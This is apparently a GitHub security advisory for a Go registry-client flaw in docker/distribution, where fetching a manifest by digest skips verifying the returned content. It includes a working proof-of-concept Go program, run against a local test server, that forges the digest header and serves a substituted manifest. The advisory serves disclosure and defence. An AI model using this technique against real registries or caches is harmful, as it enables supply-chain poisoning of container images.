GitHub Advisoryadvisory · Go
GHSA-685w-q87j-wqw3 Distribution: Client `manifests.Get()` does not verify returned content against requested digest
MEDIUM
Official page ↗
- Aliases
- CVE-2026-85747
- Ecosystem
- Go
- Packages
- github.com/docker/distribution, github.com/distribution/distribution/v3
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N
- Weaknesses
- CWE-354
- Reviewed
- 2026-10-15
Affected packages
• Go github.com/docker/distribution: <= 2.8.3 (no fix yet)
• Go github.com/distribution/distribution/v3: < 3.1.2 → fixed in 3.1.2
Description
Summary
`registry/client.(*manifests).Get(ctx, dgst, …)` fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (`registry/proxy/proxymanifeststore.go`) is itself an unguarded consumer and is directly exploitable.
Details
Root cause: `registry/client/repository.go:488-505` reads the response body and passes it directly to `distribution.UnmarshalManifest` without ever computing `digest.FromBytes(body)` and comparing against the caller-supplied `dgst`. The `Docker-Content-Digest` response header is parsed (lines 251-292 in `descriptorFromResponse`) only to populate an out-parameter (`ReturnContentDigest`) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.
Attack path: An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to `GET /v2/{name}/manifests/{digest}` with:
1. `Docker-Content-Digest: ` (forged header)
2. A body containing a different, attacker-chosen manifest
The client calls `distribution.UnmarshalManifest` on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution.
Why it matters: The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The `registry/proxy/proxymanifeststore.go:42-87` pull-through cache calls `remoteManifests.Get(ctx, dgst)` and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.
Relevant code path (`repository.go`, simplified):
```go
// line ~496
func (ms *manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) {
...
resp, err := ms.client.Get(u)
...
body, err := ioutil.ReadAll(resp.Body) // no size limit, no digest check
...
m, _, err := distribution.UnmarshalManifest(ct, body) // returns attacker bytes
return m, err
}
```
PoC
go.mod:
```
module poc
go 1.24.10
require (
github.com/distribution/reference v0.6.0
github.com/docker/distribution v2.8.3+incompatible
github.com/opencontainers/go-digest v1.0.0
)
require (
github.com/beorn7/perks v1.0.1 // indirect
github.com/docker/go-metrics v0.0.1 // indirect
github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect
github.com/golang/protobuf v1.3.2 // indirect
github.com/gorilla/mux v1.8.1 // indirect
github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect
github.com/opencontainers/image-spec v1.1.1 // indirect
github.com/prometheus/client_golang v1.1.0 // indirect
github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 // indirect
github.com/prometheus/common v0.6.0 // indirect
github.com/prometheus/procfs v0.0.3 // indirect
github.com/sirupsen/logrus v1.9.4 // indirect
golang.org/x/sys v0.13.0 // indirect
)
```
main.go:
```go
// PoC: registry/client manifests.Get() does not verify the requested digest
// against the returned body. A malicious registry (or MITM) can serve
// arbitrary content for a digest-pinned manifest reference and the client
// will accept it.
package main
import (
"context"
"fmt"
"net/http"
"net/http/httptest"
"github.com/distribution/reference"
"github.com/docker/distribution/manifest/schema2"
"github.com/docker/distribution/registry/client"
"github.com/opencontainers/go-digest"
)
// A real, "trusted" manifest the user pinned by digest.
var trustedManifest = []byte(`{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"},
"layers": []
}`)
// A different, attacker-controlled manifest the malicious server returns instead.
var evilManifest = []byte(`{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"},
"layers": []
}`)
func main() {
pinnedDigest := digest.FromBytes(trustedManifest)
evilDigest := digest.FromBytes(evilManifest)
fmt.Println("client requests manifest pinned at:", pinnedDigest)
fmt.Println("server will instead return content :", evilDigest)
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Lie: claim the digest matches what was asked, but serve evil bytes.
w.Header().Set("Content-Type", schema2.MediaTypeManifest)
w.Header().Set("Docker-Content-Digest", pinnedDigest.String())
w.WriteHeader(200)
w.Write(evilManifest)
}))
defer srv.Close()
name, _ := reference.WithName("library/alpine")
repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport)
if err != nil {
panic(err)
}
ms, _ := repo.Manifests(context.Background())
// Fetch by *digest* — caller expects content-addressed integrity.
m, err := ms.Get(context.Background(), pinnedDigest)
if err != nil {
fmt.Println("Get error:", err)
return
}
_, payload, _ := m.Payload()
got := digest.FromBytes(payload)
if got != pinnedDigest {
fmt.Println()
fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest")
fmt.Println(" requested:", pinnedDigest)
fmt.Println(" received :", got)
} else {
fmt.Println("OK: digest verified")
}
}
```
Output (v2.8.3+incompatible):
```
client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de
server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e
>>> BYPASS: client accepted manifest that does NOT match requested digest
requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de
received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e
```
Impact
Any application that calls `registry/client.(*manifests).Get()` with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled `registry/proxy`), and any CI/CD tooling that pins images by digest for reproducibility or security.
An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.
Explo…
Related
Alias · CVE (1)
- CVE-2026-85747 Distribution is a toolkit to pack, ship, store, and deliver container content. vulnerability
Weakness · CWE (1)
- CWE-354 Improper Validation of Integrity Check Value weakness
References
- https://github.com/distribution/distribution/security/advisories/GHSA-685w-q87j-wqw3 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-85747 advisory
- https://github.com/distribution/distribution/commit/8f91c26c8888a95a36c2357a6e30bc15d4dd76d3 web
- https://github.com/distribution/distribution/commit/960439b09f342cdeb8f1c0e18e8c7349bdcfbf80 web
- https://github.com/distribution/distribution package
- https://github.com/distribution/distribution/releases/tag/v3.1.2 web